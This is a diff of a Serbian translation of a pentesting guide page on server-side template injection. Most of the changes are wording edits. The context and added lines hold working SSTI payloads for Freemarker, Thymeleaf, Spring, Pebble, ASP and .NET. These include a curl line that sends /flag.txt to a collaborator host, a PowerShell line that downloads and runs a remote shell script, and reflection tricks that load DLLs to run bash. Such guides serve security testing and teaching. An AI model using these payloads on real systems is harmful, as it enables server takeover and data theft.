Translated ['src/pentesting-web/ssti-server-side-template-injection/READ

src/pentesting-web/ssti-server-side-template-injection/README.md

@@ -16,22 +16,22 @@ Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
 ```
 http://vulnerable-website.com/?name={{bad-stuff-here}}
 ```
-Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom.
+Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše engine-om za template, potencijalno stičući kontrolu nad serverom.
 
-Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
+Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što se ubaci u template. Implementacija validacije unosa i korišćenje tehnika za izbegavanje konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
 
 ### Detekcija
 
 Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
 
-- Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine.
+- Izbačene greške, koje otkrivaju ranjivost i potencijalno engine za template.
 - Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
-- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`).
+- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr., `{{7*7}}`, `${7*7}`).
 - **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
 
 #### Faza identifikacije
 
-Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
+Identifikacija engine-a za template uključuje analizu poruka o greškama ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog engine-a za template.
 
 #### Identifikacija putem payload-a
 
@@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
 
 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
 ```
-**Freemarker - Obilaženje sandboks-a**
+**Freemarker - Obilaženje sandboxes**
 
 ⚠️ radi samo na Freemarker verzijama ispod 2.3.30
 ```java
@@ -184,7 +184,7 @@ Razmotrite sledeći kod, koji bi mogao biti podložan eksploataciji:
 <a th:href="@{__${path}__}" th:title="${title}">
 <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
 ```
-Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
+To znači da ako engine za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
 ```
 http://localhost:8082/(7*7)
 http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@@ -203,7 +203,7 @@ el-expression-language.md
 ```
 **Zaobilaženje filtera**
 
-Mogu se koristiti višestruki izrazi varijabli, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
+Više izraza varijabli može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
 
 - Pročitajte `/etc/passwd`
 ```java
@@ -242,7 +242,7 @@ print(base_payload + end_payload)
 - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
 - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
 
-### Spring View Manipulation (Java)
+### Manipulacija prikazom u Spring-u (Java)
 ```java
 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
 __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@@ -261,7 +261,7 @@ Stara verzija Pebble ( < verzija 3.0.9):
 ```java
 {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
 ```
-Nova verzija Pebble :
+Nova verzija Pebble:
 ```java
 {% raw %}
 {% set cmd = 'id' %}
@@ -309,9 +309,9 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
 
 ### Hubspot - HuBL (Java)
 
-- `{% %}` delimičari izjava
+- `{% %}` delimitatori za izjave
-- `{{ }}` delimičari izraza
+- `{{ }}` delimitatori za izraze
-- `{# #}` delimičari komentara
+- `{# #}` delimitatori za komentare
 - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
 - `{{'a'.toUpperCase()}}` - "A"
 - `{{'a'.concat('b')}}` - "ab"
@@ -319,7 +319,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
 - `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
 - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
 
-Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
+Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
 ```java
 {{request.isDebug()}}
 //output: False
@@ -437,8 +437,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
 - `{{7*7}} = 49`
 - `${7*7} = ${7*7}`
 - `{{7*'7'}} = 49`
-- `{{1/0}} = Greška`
+- `{{1/0}} = Error`
-- `{{foobar}} Ništa`
+- `{{foobar}} Nothing`
 ```python
 #Get Info
 {{_self}} #(Ref. to current application)
@@ -491,7 +491,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
 // Render a template
 echo $templates->render('profile', ['name' => 'Jonathan']);
 ```
-Šablon stranice:
+Stranica šablona:
 ```php
 <?php $this->layout('template', ['title' => 'User Profile']) ?>
 
@@ -515,7 +515,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
 
 ### PHPlib i HTML_Template_PHPLIB (PHP)
 
-[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovano na Pear.
+[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear.
 
 `authors.tpl`
 ```html
@@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
 
 ### patTemplate (PHP)
 
-> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
+> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
 ```xml
 <patTemplate:tmpl name="page">
 This is the main page.
@@ -667,7 +667,7 @@ URLencoded:
 ### JsRender (NodeJS)
 
 | **Šablon** | **Opis**                               |
-| ---------- | -------------------------------------- |
+|------------|----------------------------------------|
 |            | Evaluiraj i prikaži izlaz              |
 |            | Evaluiraj i prikaži HTML kodiran izlaz |
 |            | Komentar                               |
@@ -767,7 +767,7 @@ range.constructor(
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
 
-### Ostali Ruby
+### Drugi Ruby
 
 <figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
 
@@ -814,7 +814,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvrša
 
 [Zvanična stranica](http://jinja.pocoo.org)
 
-> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
+> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandbox okruženje za izvršavanje, široko korišćen i licenciran pod BSD.
 
 - `{{7*7}} = Greška`
 - `${7*7} = ${7*7}`
@@ -919,8 +919,8 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
 
 - `<%= 7*7 %>` = 49
 - `<%= "foo" %>` = foo
-- `<%= foo %>` = Ništa
+- `<%= foo %>` = Nothing
-- `<%= response.write(date()) %>` = \<Datum>
+- `<%= response.write(date()) %>` = \<Date>
 ```xml
 <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
 ```
@@ -928,9 +928,26 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
 
 - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
 
+### .Net zaobilaženje ograničenja
+
+.NET Reflection mehanizmi se mogu koristiti za zaobilaženje crnih lista ili klasa koje nisu prisutne u sklopu. DLL-ovi se mogu učitati u vreme izvođenja sa metodama i svojstvima dostupnim iz osnovnih objekata.
+
+Dll-ovi se mogu učitati sa:
+
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - iz datotečnog sistema.
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direktno iz zahteva.
+
+Potpuna izvršna komanda:
+```
+{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
+```
+**Više informacija**
+
+- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
+
 ### Mojolicious (Perl)
 
-Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
+Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
 
 - `<%= 7*7 %> = 49`
 - `<%= foobar %> = Error`
@@ -942,7 +959,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
 
 U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
 
-- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
+- `{{ . }}`: Otkrije strukturu podataka koja je prosleđena. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
 - `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
 - `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
 
@@ -950,7 +967,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
 
 **XSS Eksploatacija**
 
-Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `&lt;script&gt;alert(1)&lt;/script&gt;`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
+Sa paketom `text/template`, XSS može biti jednostavan direktnim umetanjem payload-a. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `&lt;script&gt;alert(1)&lt;/script&gt;`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
 
 vbnet Copy code
 
@@ -958,7 +975,7 @@ vbnet Copy code
 
 RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
 
-Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
+Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
 ```go
 func (p Person) Secret (test string) string {
 out, _ := exec.Command(test).CombinedOutput()
@@ -970,9 +987,9 @@ return string(out)
 - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
 - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
 
-### Više Eksploatacija
+### Više Eksploata
 
-Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
+Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploata. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
 
 ## BlackHat PDF